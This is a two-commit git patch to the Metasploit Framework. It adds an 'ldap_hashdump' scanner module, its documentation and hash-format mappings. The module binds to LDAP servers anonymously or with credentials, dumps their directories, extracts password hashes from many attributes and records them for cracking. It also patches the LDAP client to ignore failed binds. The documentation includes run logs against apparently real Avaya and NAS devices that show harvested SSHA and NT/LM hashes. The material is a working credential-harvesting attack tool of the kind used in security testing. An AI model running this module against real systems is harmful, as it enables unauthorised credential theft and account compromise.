From f8bf9962332740b34355efdd1f40e3fa6a5c4623 Mon Sep 17 00:00:00 2001 From: Hynek Petrak Date: Sat, 25 Jul 2020 00:13:12 +0200 Subject: [PATCH 1/2] parent 1bd4a8d7525ef801e769e3c4edc0eab754be1aec author Hynek Petrak 1595628792 +0200 committer Spencer McIntyre 1598532753 -0400 Added module to dump hashes from LDAP added hash formatters, documentation, ldap authentication typo sanitizing added scenario for NASDeluxe added few hash attribute examples typo correction Co-authored-by: bcoles typo correction Co-authored-by: bcoles typo correction Co-authored-by: bcoles avoid option name conflicts added test scenario linted linted Dump all nameContexts, not just the first one. Search creds in multiple attributes. attemt to dump special and operational attributes check if ldap bind succeeded sanitize the ldap hashes, skip invalid, remove {crypt} prefix memory optimization for large LDAP servers spaces at eols put header to the ldif loot added other LDAP hash formats, don't save empty ldif, dump root DSE now we handle vmdir case too explictly set md5crypt for $ Converted to scanner to improve performance on large networks krbprincipalkey, memory optimization for ldap.search handle additional hash types be verbose about search errors added per host timeout catch exception from Net::Ldap shorten the param value handle pwdhistory entries added comment about sambapwdhistory value reject shorter empty sambapassordhistory entries reject null nt and lm hashes report assumed clear text passwords refactored timeout for the sake of the loot ignore {SASL} pass-trough auth entries distinguish unresolved hashes from clear passwords print ldap server error message, meaningful loot name correct exception handling handle hashes with eol remove debug line handle pkcs12 in binary form attemt to control timeout on bind operation leave LDAP#bind to be called implicitly in #search remove debug line fixed bug, when pillage broke the outer LDAP#search learning ruby monkey patched ldap connection handling, ignoring bind errors commenting the net:LDAP misbehaviour review fixes review fixes moving ldap.search into a function remove fail_with, store loot from one place, print statistics linting consolidated ldap_new and connect, don't catch exceptions in the mixin Complete the credential creation Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> --- .../modules/auxiliary/gather/ldap_hashdump.md | 199 +++++++++ lib/metasploit/framework/hashes/identify.rb | 14 + .../framework/password_crackers/cracker.rb | 14 + .../password_crackers/hashcat/formatter.rb | 5 +- .../password_crackers/jtr/formatter.rb | 2 + lib/msf/core/exploit/ldap.rb | 172 +++++--- modules/auxiliary/gather/ldap_hashdump.rb | 401 ++++++++++++++++++ .../gather/vmware_vcenter_vmdir_ldap.rb | 2 +- 8 files changed, 746 insertions(+), 63 deletions(-) create mode 100644 documentation/modules/auxiliary/gather/ldap_hashdump.md create mode 100644 modules/auxiliary/gather/ldap_hashdump.rb diff --git a/documentation/modules/auxiliary/gather/ldap_hashdump.md b/documentation/modules/auxiliary/gather/ldap_hashdump.md new file mode 100644 index 000000000000..9a715fdfa1d4 --- /dev/null +++ b/documentation/modules/auxiliary/gather/ldap_hashdump.md @@ -0,0 +1,199 @@ +## Vulnerable Application + +### Description + +This module uses an LDAP connection to dump data from LDAP server +using an anonymous or authenticated bind. +Searching for specific attributes it collects user credentials. + +### Setup + +Tested in the wild. + +You may eventually setup an intentionally insecure OpenLDAP server in docker. +The below OpenLDAP server does not have any ACL, therefore the hashPassword +attributes are readable by anonymous clients. + +``` +$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git +$ cd bitnami-docker-openldap +$ docker-compose up -d +Creating bitnami-docker-openldap_openldap_1 ... done + +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389 +RPORT => 1389 +msf5 auxiliary(gather/ldap_hashdump) > options + +Module options (auxiliary/gather/ldap_hashdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + BIND_DN no The username to authenticate to LDAP server + BIND_PW no Password for the BIND_DN + PASS_ATTR userPassword yes LDAP attribute, that contains password hashes + RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 1389 yes The target port + SSL false no Enable SSL on the LDAP connection + USER_ATTR dn no LDAP attribute, that contains username + + +Auxiliary action: + + Name Description + ---- ----------- + Dump Dump all LDAP data + + +msf5 auxiliary(gather/ldap_hashdump) > + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against 127.0.0.1 + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=example,dc=org +[*] Dumping LDAP data from server at 127.0.0.1:1389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt +[*] Searching for attribute: userPassword +[*] Taking dn attribute as username +[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1 +[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2 +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ldap_hashdump) > + +``` + +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + +## Actions + +### Dump + +Dump all LDAP data from the LDAP server. + +## Options + +### BASE_DN + +If you already have the LDAP base DN, you may set it in this option. + +### USER_ATTR + +LDAP attribute to take the user name from. Defaults to DN, however you may +wish to change it UID, name or similar. + +### PASS_ATTR + +LDAP attribute to take the password hash from. Defaults to userPassword, +some LDAP server may use different attribute, e.g. unixUserPassword, +sambantpassword, sambalmpassword. + +## Scenarios + +### Avaya Communication Manager via anonymous bind + +``` +msf5 > use auxiliary/gather/ldap_hashdump +msf5 auxiliary(gather/ldap_hashdump) > options + +Module options (auxiliary/gather/ldap_hashdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + PASS_ATTR userPassword yes LDAP attribute, that contains password hashes + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 389 yes The target port + SSL false no Enable SSL on the LDAP connection + USER_ATTR dn no LDAP attribute, that contains username + + +Auxiliary action: + + Name Description + ---- ----------- + Dump Dump all LDAP data + + +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] +RHOSTS => [redacted_ip_address] + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=vsp +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt +[*] Searching for attribute: userPassword +[*] Taking dn attribute as username +[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid +USER_ATTR => uid +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=vsp +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt +[*] Searching for attribute: userPassword +[*] Taking uid attribute as username +[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== +[*] Auxiliary module execution completed +msf5 auxiliary(gather/ldap_hashdump) > +``` + +### NASDeluxe - NAS with Samba LM/NTLM hashes + +``` +msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid +USER_ATTR => uid +msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword +PASS_ATTR => sambantpassword +msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address] +RHOSTS => [redacted_ip_address] + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=server,dc=nas +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt +[*] Searching for attribute: sambantpassword +[*] Taking uid attribute as username +[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634 +[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B +[*] Auxiliary module execution completed + +msf5 auxiliary(gather/ldap_hashdump) > run +[*] Running module against [redacted_ip_address] + +[*] Discovering base DN automatically +[*] Searching root DSE for base DN +[+] Discovered base DN: dc=server,dc=nas +[*] Dumping LDAP data from server at [redacted_ip_address]:389 +[*] Storing LDAP data in loot +[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt +[*] Searching for attribute: sambalmpassword +[*] Taking uid attribute as username +[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE +[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE +[*] Auxiliary module execution completed +``` diff --git a/lib/metasploit/framework/hashes/identify.rb b/lib/metasploit/framework/hashes/identify.rb index 9ba818f9caa8..bc212e23c767 100644 --- a/lib/metasploit/framework/hashes/identify.rb +++ b/lib/metasploit/framework/hashes/identify.rb @@ -42,6 +42,20 @@ def identify_hash(hash) return 'des,crypt' when hash =~ /^\$dynamic_82\$[\da-f]{128}\$HEX\$[\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108 return 'dynamic_82' + when hash.start_with?(/{SSHA}/i) + return 'ssha' + when hash.start_with?(/{SHA512}/i) + return 'raw-sha512' + when hash.start_with?(/{SHA}/i) + return 'raw-sha1' + when hash.start_with?(/{MD5}/i) + return 'raw-md5' + when hash.start_with?(/{SMD5}/i) + return 'smd5' + when hash.start_with?(/{SSHA256}/i) + return 'ssha256' + when hash.start_with?(/{SSHA512}/i) + return 'ssha512' # windows when hash.length == 65 && hash =~ /^[\da-fA-F]{32}:[\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE' return 'nt' diff --git a/lib/metasploit/framework/password_crackers/cracker.rb b/lib/metasploit/framework/password_crackers/cracker.rb index 04f75648b2e1..460fb57e635d 100644 --- a/lib/metasploit/framework/password_crackers/cracker.rb +++ b/lib/metasploit/framework/password_crackers/cracker.rb @@ -186,6 +186,20 @@ def jtr_format_to_hashcat_format(format) '10200' when 'dynamic_82' '1710' + when 'ssha' + '111' + when 'raw-sha512' + '1700' + when 'raw-sha1' + '100' + when 'raw-md5' + '0' + when 'smd5' + '6300' + when 'ssha256' + '1411' + when 'ssha512' + '1711' else nil end diff --git a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb index fbc6c37ffa41..1245bdc07bd1 100644 --- a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb +++ b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb @@ -67,7 +67,8 @@ def hash_to_hashcat(cred) when /md5|des|bsdi|crypt|bf/, /mssql|mssql05|mssql12|mysql/, /sha256|sha-256/, /sha512|sha-512/, /xsha|xsha512|PBKDF2-HMAC-SHA512/, /mediawiki|phpass|PBKDF2-HMAC-SHA1/, - /android-sha1/, /android-samsung-sha1/, /android-md5/ + /android-sha1/, /android-samsung-sha1/, /android-md5/, + /ssha/, /raw-sha512/ # md5(crypt), des(crypt), b(crypt), sha256, sha512, xsha, xsha512, PBKDF2-HMAC-SHA512 # hash-mode: 500 1500 3200 7400 1800 122 1722 7100 # mssql, mssql05, mssql12, mysql, mysql-sha1 @@ -76,6 +77,8 @@ def hash_to_hashcat(cred) # hash-mode: 3711, 400, 12001 # android-sha1 # hash-mode: 5800 + # ssha, raw-sha512 + # hash-mode: 111, 1700 return cred.private.data end end diff --git a/lib/metasploit/framework/password_crackers/jtr/formatter.rb b/lib/metasploit/framework/password_crackers/jtr/formatter.rb index bec546340985..f45b1d248408 100644 --- a/lib/metasploit/framework/password_crackers/jtr/formatter.rb +++ b/lib/metasploit/framework/password_crackers/jtr/formatter.rb @@ -63,6 +63,8 @@ def hash_to_jtr(cred) # /des(crypt)/ # /mediawiki|phpass|atlassian/ # /dynamic_82/ + # /ssha/ + # /raw-sha512/ return "#{cred.public.username}:#{cred.private.data}:#{cred.id}:" end end diff --git a/lib/msf/core/exploit/ldap.rb b/lib/msf/core/exploit/ldap.rb index 3b13ef5382cd..e8d9664086c6 100644 --- a/lib/msf/core/exploit/ldap.rb +++ b/lib/msf/core/exploit/ldap.rb @@ -7,83 +7,133 @@ require 'net-ldap' module Msf -module Exploit::Remote::LDAP - - def initialize(info = {}) - super + module Exploit::Remote::LDAP + def initialize(info = {}) + super + + register_options([ + Opt::RHOST, + Opt::RPORT(389), + OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]), + OptString.new('BIND_DN', [false, 'The username to authenticate to LDAP server']), + OptString.new('BIND_PW', [false, 'Password for the BIND_DN']) + ]) + + register_advanced_options([ + OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]) + ]) + end - register_options([ - Opt::RHOST, - Opt::RPORT(389), - OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]) - ]) + def rhost + datastore['RHOST'] + end - register_advanced_options([ - OptFloat.new('ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]) - ]) - end + def rport + datastore['RPORT'] + end - def rhost - datastore['RHOST'] - end + def peer + "#{rhost}:#{rport}" + end - def rport - datastore['RPORT'] - end + def get_connect_opts() + connect_opts = { + host: rhost, + port: rport, + connect_timeout: datastore['LDAP::ConnectTimeout'] + } - def peer - "#{rhost}:#{rport}" - end + if datastore['SSL'] + connect_opts[:encryption] = { + method: :simple_tls, + tls_options: { + verify_mode: OpenSSL::SSL::VERIFY_NONE + } + } + end - def ldap_connect(opts = {}, &block) - connect_opts = { - host: rhost, - port: rport, - connect_timeout: datastore['ConnectTimeout'] - } - - if datastore['SSL'] - connect_opts[:encryption] = { - method: :simple_tls, - tls_options: { - verify_mode: OpenSSL::SSL::VERIFY_NONE + if datastore['BIND_DN'] + connect_opts[:auth] = { + method: :simple, + username: datastore['BIND_DN'] } - } + if datastore['BIND_PW'] + connect_opts[:auth][:password] = datastore['BIND_PW'] + end + end + connect_opts end - Net::LDAP.open(connect_opts.merge(opts), &block) - end - - def discover_base_dn(ldap) - print_status('Searching root DSE for base DN') + def ldap_connect(opts = {}, &block) + Net::LDAP.open(get_connect_opts.merge(opts), &block) + end - unless (root_dse = ldap.search_root_dse) - print_error('Could not retrieve root DSE') - return + def ldap_new(opts = {}) + ldap = Net::LDAP.new(get_connect_opts.merge(opts)) + + # NASTY, but required + # monkey patch ldap object in order to ignore bind errors + # Some servers (e.g. OpenLDAP) return result even after a bind + # has failed, e.g. with LDAP_INAPPROPRIATE_AUTH - anonymous bind disallowed. + # See: https://www.openldap.org/doc/admin23/security.html#Authentication%20Methods + # "Note that disabling the anonymous bind mechanism does not prevent anonymous + # access to the directory." + # + # Bug created for Net:LDAP https://github.com/ruby-ldap/ruby-net-ldap/issues/375 + # + def ldap.use_connection(args) + if @open_connection + yield @open_connection + else + begin + conn = new_connection + conn.bind(args[:auth] || @auth) + # Commented out vs. original + # result = conn.bind(args[:auth] || @auth) + # return result unless result.result_code == Net::LDAP::ResultCodeSuccess + yield conn + ensure + conn.close if conn + end + end + end + yield ldap end - vprint_line(root_dse.to_ldif) + def get_naming_contexts(ldap) + vprint_status("#{peer} Getting root DSE") - # NOTE: Net::LDAP converts attribute names to lowercase - unless root_dse[:namingcontexts] - print_error('Could not find namingContexts attribute') - return - end + unless (root_dse = ldap.search_root_dse) + print_error("#{peer} Could not retrieve root DSE") + return + end + + vprint_line(root_dse.to_ldif) + + naming_contexts = root_dse[:namingcontexts] - if root_dse[:namingcontexts].empty? - print_error('Could not find base DN') - return + # NOTE: Net::LDAP converts attribute names to lowercase + if naming_contexts.empty? + print_error("#{peer} Empty namingContexts attribute") + return + end + + naming_contexts end - # NOTE: We assume the first namingContexts value is the base DN - base_dn = root_dse[:namingcontexts].first + def discover_base_dn(ldap) + naming_contexts = get_naming_contexts(ldap) - print_good("Discovered base DN: #{base_dn}") - base_dn - rescue Net::LDAP::Error => e - print_error("#{e.class}: #{e.message}") - nil - end + unless naming_contexts + print_error("#{peer} Base DN cannot be determined") + return + end -end + # NOTE: We assume the first namingContexts value is the base DN + base_dn = naming_contexts.first + + print_good("#{peer} Discovered base DN: #{base_dn}") + base_dn + end + end end diff --git a/modules/auxiliary/gather/ldap_hashdump.rb b/modules/auxiliary/gather/ldap_hashdump.rb new file mode 100644 index 000000000000..c8f901d1b722 --- /dev/null +++ b/modules/auxiliary/gather/ldap_hashdump.rb @@ -0,0 +1,401 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/hashes/identify' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::LDAP + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LDAP Information Disclosure', + 'Description' => %q{ + This module uses an anonymous-bind LDAP connection to dump data from + an LDAP server. Searching for attributes with user credentials + (e.g. userPassword). + }, + 'Author' => [ + 'Hynek Petrak' # Discovery, module + ], + 'References' => [ + ['CVE', '2020-3952'], + ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'] + ], + 'DisclosureDate' => '2020-07-23', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Dump', 'Description' => 'Dump all LDAP data'] + ], + 'DefaultAction' => 'Dump', + 'DefaultOptions' => { + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(636), # SSL/TLS + OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]), + OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]), + OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']), + OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']), + OptString.new('PASS_ATTR', [ + true, 'LDAP attribute, that contains password hashes', + 'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword' + # Other potential candidates: + # ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory + ]) + ]) + end + + def user_attr + @user_attr ||= 'dn' + end + + def print_ldap_error(ldap) + opres = ldap.get_operation_result + msg = "LDAP error #{opres.code}: #{opres.message}" + unless opres.error_message.to_s.empty? + msg += " - #{opres.error_message}" + end + print_error("#{peer} #{msg}") + end + + # PoC using ldapsearch(1): + # + # Retrieve root DSE with base DN: + # ldapsearch -xb "" -s base -H ldap://[redacted] + # + # Dump data using discovered base DN: + # ldapsearch -xb bind_dn -H ldap://[redacted] \* + - + def run_host(ip) + @rhost = ip + + @read_timeout = datastore['READ_TIMEOUT'] || 600 + + entries_returned = 0 + + print_status("#{peer} Connecting ...") + ldap_new do |ldap| + if ldap.get_operation_result.code == 0 + vprint_status("#{peer} LDAP connection established") + else + # Even if we get "Invalid credentials" error, we may proceed with anonymous bind + print_ldap_error(ldap) + end + + if (base_dn_tmp = datastore['BASE_DN']) + vprint_status("#{peer} User-specified base DN: #{base_dn_tmp}") + naming_contexts = [base_dn_tmp] + else + vprint_status("#{peer} Discovering base DN(s) automatically") + + begin + # HACK: fix lack of read/write timeout in Net::LDAP + Timeout.timeout(@read_timeout) do + naming_contexts = get_naming_contexts(ldap) + end + rescue Timeout::Error + print_error("#{peer} Host timeout reached") + # fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contects') + return + ensure + unless ldap.get_operation_result.code == 0 + print_ldap_error(ldap) + end + end + + if naming_contexts.nil? || naming_contexts.empty? + vprint_warning("#{peer} Falling back to an empty base DN") + naming_contexts = [''] + end + end + + @max_loot = datastore['MAX_LOOT'] + + @user_attr ||= datastore['USER_ATTR'] + @user_attr ||= 'dn' + vprint_status("#{peer} Taking '#{@user_attr}' attribute as username") + + pass_attr ||= datastore['PASS_ATTR'] + @pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase) + + # Dump root DSE for useful information, e.g. dir admin + if @max_loot.nil? || (@max_loot > 0) + print_status("#{peer} Dumping data for root DSE") + + ldap_search(ldap, 'root DSE', { + ignore_server_caps: true, + scope: Net::LDAP::SearchScope_BaseObject + }) + end + + naming_contexts.each do |base_dn| + print_status("#{peer} Searching base DN='#{base_dn}'") + entries_returned += ldap_search(ldap, base_dn, { + base: base_dn + }) + end + end + + # Safe if server did not returned anything + unless (entries_returned > 0) + print_error("#{peer} Server did not return any data, seems to be safe") + # fail_with(Failure::NotVulnerable, 'Server does not return any data.') + end + rescue Timeout::Error + print_error("#{peer} Host timeout reached") + # fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory') + rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e + print_error("#{peer} #{e.class}: #{e.message}") + # fail_with(Failure::UnexpectedReply, "Exception occured: #{e.class}: #{e.message}") + end + + def ldap_search(ldap, base_dn, args) + entries_returned = 0 + creds_found = 0 + def_args = { + base: '', + return_result: false, + attributes: %w[* + -] + } + Tempfile.create do |f| + f.write("# LDIF dump of #{peer}, base DN='#{base_dn}'\n") + f.write("\n") + begin + # HACK: fix lack of read/write timeout in Net::LDAP + Timeout.timeout(@read_timeout) do + ldap.search(def_args.merge(args)) do |entry| + entries_returned += 1 + if @max_loot.nil? || (entries_returned <= @max_loot) + f.write("# #{entry.dn}\n") + f.write(entry.to_ldif.force_encoding('utf-8')) + f.write("\n") + end + @pass_attr_array.each do |attr| + if entry[attr].any? + creds_found += process_hash(entry, attr) + end + end + end + end + rescue Timeout::Error + print_error("#{peer} Host timeout reached while searching '#{base_dn}'") + return entries_returned + ensure + unless ldap.get_operation_result.code == 0 + print_ldap_error(ldap) + end + if entries_returned > 0 + print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.") + f.rewind + pillage(f.read, base_dn) + elsif ldap.get_operation_result.code == 0 + print_error("#{peer} No entries returned for '#{base_dn}'.") + end + end + end + entries_returned + end + + def pillage(ldif, base_dn) + vprint_status("#{peer} Storing LDAP data for base DN='#{base_dn}' in loot") + + ltype = base_dn.clone + ltype.gsub!(/ /, '_') + ltype.gsub!(/,/, '.') + ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '') + ltype.gsub!(/[^a-z0-9\.\_\-]+/i, '') + ltype = ltype.last(16) + + ldif_filename = store_loot( + ltype, # ltype + 'text/plain', # ctype + @rhost, # host + ldif, # data + nil, # filename + "Base DN: #{base_dn}" # info + ) + + unless ldif_filename + print_error("#{peer} Could not store LDAP data in loot") + return + end + + print_good("#{peer} Saved LDAP data to #{ldif_filename}") + + end + + def decode_pwdhistory(hash) + # https://ldapwiki.com/wiki/PwdHistory + parts = hash.split('#', 4) + unless parts.length == 4 + return hash + end + + hash = parts.last + unless hash.starts_with?('{') + decoded = Base64.decode64(hash) + if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil? + return decoded + end + end + hash + end + + def process_hash(entry, attr) + service_details = { + workspace_id: myworkspace_id, + module_fullname: fullname, + origin_type: :service, + address: @rhost, + port: rport, + protocol: 'tcp', + service_name: 'ldap' + } + + creds_found = 0 + + # This is the "username" + dn = entry[@user_attr].first # .dn + + entry[attr].each do |hash| + if attr == 'pwdhistory' + hash = decode_pwdhistory(hash) + end + + # 20170619183528ZHASHVALUE + if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i) + hash.slice!(/\d{14}Z/i) + end + + # Cases *[crypt}, !{crypt} ... + hash.gsub!(/.?{crypt}/i, '{crypt}') + + # We observe some servers base64 encdode the hash string + # and add {crypt} prefix to the base64 encoded value + # e2NyeXB0f in base64 means {crypt + # e3NtZD is {smd + if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/) + begin + hash = Base64.strict_decode64(hash.delete_prefix('{crypt}')) + rescue ArgumentError + nil + end + end + + # Some have new lines at the end + hash.chomp! + + # Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, **** + if hash.nil? || hash.empty? || + (hash.start_with?(/{crypt}/i) && hash.length < 10) || + hash.start_with?('*****') || + hash.start_with?(/yyyyyy/i) || + hash == '*' || + # reject {SASL} pass-through + hash =~ /{sasl}/i || + hash.start_with?(/xxxxx/i) || + (attr =~ /^samba(lm|nt)password$/ && + (hash.length != 32 || + hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i || + hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) || + # observed sambapassword history with either 56 or 64 zeros + (attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/) + next + end + + case attr + when 'sambalmpassword' + hash_format = 'lm' + when 'sambantpassword' + hash_format = 'nt' + when 'sambapasswordhistory' + # 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9 + # where the left part is a salt and the right part is MD5(Salt+NTHash) + # attribute value may contain multiple concatenated history entries + # for john sort of 'md5($s.md4(unicode($p)))' - not tested + hash_format = 'sambapasswordhistory' + when 'krbprincipalkey' + hash_format = 'krbprincipal' + # TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7 + # it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96: + # https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558 + # Salted with principal name: + # https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175 + # In the meantime, dump the base64 encoded value. + hash = Base64.strict_encode64(hash) + when 'userpkcs12' + # if we get non printable chars, encode into base64 + if (hash =~ /[^[:print:]]/).nil? + hash_format = 'pkcs12' + else + hash_format = 'pkcs12-base64' + hash = Base64.strict_encode64(hash) + end + else + if hash.start_with?(/{crypt}.?\$1\$/i) + hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$') + hash_format = 'md5crypt' + elsif hash.start_with?(/{crypt}/i) && hash.length == 20 + # handle {crypt}traditional_crypt case, i.e. explicitly set the hash format + hash.slice!(/{crypt}/i) + hash_format = 'descrypt' # FIXME: what is the right jtr_hash - des,crypt or descrypt ? + # identify_hash returns des,crypt, while JtR acceppts descrypt + else + # handle vcenter vmdir binary hash format + if hash[0].ord == 1 && hash.length == 81 + _type, hash, salt = hash.unpack('CH128H32') + hash = "$dynamic_82$#{hash}$HEX$#{salt}" + else + # Remove LDAP's {crypt} prefix from known hash types + hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1') + end + hash_format = identify_hash(hash) + end + end + + # higlight unresolved hashes + hash_format = '{crypt}' if hash =~ /{crypt}/i + + print_good("#{peer} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}") + + # known hash types should have been identified, + # let's assume the rest are clear text passwords + if hash_format.nil? || hash_format.empty? + credential = create_credential(service_details.merge( + username: dn, + private_data: hash, + private_type: :password + )) + else + credential = create_credential(service_details.merge( + username: dn, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: hash_format + )) + end + + create_credential_login({ + core: credential, + access_level: 'User', + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_details)) + creds_found += 1 + end + creds_found + end + +end diff --git a/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb b/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb index 2fc2aabf8101..261a2ab840ae 100644 --- a/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb +++ b/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb @@ -105,7 +105,7 @@ def run def pillage(entries) # TODO: Make this more efficient? - ldif = entries.map(&:to_ldif).join("\n") + ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n") print_status('Storing LDAP data in loot') From aa60b4efc0d6955e537d6650da1fa6b8918e8146 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 27 Aug 2020 09:14:51 -0400 Subject: [PATCH 2/2] Switch back to using fail_with now that the issue is fixed --- modules/auxiliary/gather/ldap_hashdump.rb | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/gather/ldap_hashdump.rb b/modules/auxiliary/gather/ldap_hashdump.rb index c8f901d1b722..3ec6b5e4a8fb 100644 --- a/modules/auxiliary/gather/ldap_hashdump.rb +++ b/modules/auxiliary/gather/ldap_hashdump.rb @@ -86,7 +86,7 @@ def run_host(ip) entries_returned = 0 - print_status("#{peer} Connecting ...") + print_status("#{peer} Connecting...") ldap_new do |ldap| if ldap.get_operation_result.code == 0 vprint_status("#{peer} LDAP connection established") @@ -107,9 +107,7 @@ def run_host(ip) naming_contexts = get_naming_contexts(ldap) end rescue Timeout::Error - print_error("#{peer} Host timeout reached") - # fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contects') - return + fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts') ensure unless ldap.get_operation_result.code == 0 print_ldap_error(ldap) @@ -151,15 +149,12 @@ def run_host(ip) # Safe if server did not returned anything unless (entries_returned > 0) - 